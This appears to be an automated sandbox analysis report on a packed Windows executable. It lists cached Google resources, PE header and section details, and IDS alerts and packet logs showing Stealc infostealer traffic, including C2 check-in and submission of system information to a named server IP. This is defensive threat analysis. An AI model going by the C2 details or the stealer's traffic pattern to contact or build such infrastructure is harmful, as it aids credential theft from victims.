SHA-512:	6943DD03A48A9C07E47DED751A92C1A292E595CAB6A65176BDBE4FC863BB255C8AEEE2840AE2B2C1E849F0D25A546B7DCBBF5A243A9453A45EC6A863B8C64D7F
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["detroit lions green bay packers","2026 kia tasman truck","deadpool wolverine disney plus","monopoly go mystery manor rewards","starbucks holiday 2024","robelis despaigne ufc","lincoln lawyer season 4 netflix","open beta test monster hunter wilds"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133762
Entropy (8bit):	5.436716312485576
Encrypted:	false
SSDEEP:	3072:2P9vjxd0QniyZ+qQf4VBNQ0pqmvx7U+OUaKszQ:E9vv0yTVBNQ0pRvxI+ORQ
MD5:	E4654637DB88735B788EFD3741423D7E
SHA1:	A4D6312CA425BB745A2424F8091FCC9C9BA9D2B8
SHA-256:	6E46FDDE291F2C586F66C71E1CE16048716A3BC430440F926C2D84FEE8982B80
SHA-512:	0B9DDDFDF99A049FA2D63E1417314E99E6FEF8CC6969CACAE973DDA6DC6F80E843E1D5CABD2A1E96CA0E454B272A51DA31FA2C7CD585FAD1FDAF3E32D481C156
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.959409970299355
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'145'792 bytes
MD5:	08093ca094e4bd396c0a1202363ce047
SHA1:	ea36ec8698c53b8542da008357f3d8bf8fdb6e67
SHA256:	f038c0ca2a82ce96f8fe33c5f458e0cbd043f96559795b93c1cbf411c3017c13
SHA512:	d588f64c60124c1f9365be5aa88685360f337fca2e11b2742f60596ad9cdacf96e281409580e8b1c3636ea710c2730d497788a3e5b26965af3a9c4391de29d14
SSDEEP:	49152:1XaI8Bt0FBDoHKt9XPk8m0IxlHlIoooTN/bx6U9S:1X3eQBDog9XPL+aG5zx6U
TLSH:	03A533402412B0D8D788BB79CDFA3300EA54B783613FDDEDB2A0E477D157A38E62655A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb2f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F227C810B6Ah
setl byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	bdd99ab3ea8eb2f7cdb9852205230ab1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2a3000	0x200	70ff31f1ce809a1196e4b0f25256a31d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wcmalsok	0x58d000	0x1a1000	0x1a0c00	635178ed5f84b12aedadc223ca251f9a	False	0.9949215235077984	data	7.954090328686937	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lajdpeqi	0x72e000	0x1000	0x600	0e62616fac7cc9afad25f6ba9c83e205	False	0.6223958333333334	data	5.2469640655709044	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x72f000	0x3000	0x2200	16134af42885e1f20d5c1d8fab1a65b3	False	0.06514246323529412	DOS executable (COM)	0.761902839730448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T03:04:01.906568+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-31T03:04:02.190662+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-31T03:04:02.197811+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-31T03:04:02.475823+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-31T03:04:02.482880+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-31T03:04:03.578698+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-31T03:04:04.113451+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-31T03:04:30.578233+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49823	185.215.113.206	80	TCP
2024-10-31T03:04:31.947020+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49823	185.215.113.206	80	TCP
2024-10-31T03:04:32.872134+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49823	185.215.113.206	80	TCP
2024-10-31T03:04:34.044145+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49823	185.215.113.206	80	TCP
2024-10-31T03:04:36.051650+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49823	185.215.113.206	80	TCP
2024-10-31T03:04:36.736069+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49823	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 03:03:54.652829885 CET	49674	443	192.168.2.5	23.1.237.91
Oct 31, 2024 03:03:54.652834892 CET	49675	443	192.168.2.5	23.1.237.91
Oct 31, 2024 03:03:54.746553898 CET	49673	443	192.168.2.5	23.1.237.91
Oct 31, 2024 03:04:00.693754911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:00.700799942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:00.700876951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:00.701082945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:00.705821991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:01.608066082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:01.608181953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:01.612011909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:01.618254900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:01.906459093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:01.906568050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:01.908054113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:01.912893057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.190546036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.190570116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.190579891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.190661907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.190706968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.192367077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.197810888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.475764036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.475822926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.475826979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.475837946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.475848913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.475861073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.475862026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.475873947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.475884914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.475933075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.476161957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.476178885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.476195097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.476212025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.477993011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.482880116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.760169029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.760308981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.780191898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.780236006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:02.785042048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.785053968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.785070896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.785079956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.785090923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.785181999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:02.785191059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:03.578568935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:03.578697920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:03.833058119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:03.838007927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.113308907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.113333941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.113399982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.113447905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.113451004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.113471031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.113487005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.113545895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.113545895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.113545895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.113545895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.113903999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.113955021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.113960981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.113989115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.114147902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.114170074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.114187956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.114197016 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.114211082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.114213943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.114228010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.114229918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.114248991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.114263058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.114903927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.114953995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.262075901 CET	49675	443	192.168.2.5	23.1.237.91
Oct 31, 2024 03:04:04.262079000 CET	49674	443	192.168.2.5	23.1.237.91
Oct 31, 2024 03:04:04.272367001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.272394896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.272483110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.272479057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.272522926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.272522926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.272535086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.272548914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.272564888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.272572041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.272583961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.272595882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.272988081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.273010015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.273024082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.273041010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.273057938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.273313046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.273370981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.273394108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.273410082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.273422003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.273471117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.273499012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.355770111 CET	49673	443	192.168.2.5	23.1.237.91
Oct 31, 2024 03:04:04.389439106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.389457941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.389472961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.389506102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.389532089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.389564037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.389602900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.389636040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.389657021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.389672995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.389678001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.389687061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.389816046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:04.390012980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.390028000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:04.390043974 CET	80	49704	185.215.113.206	192.168.2.5
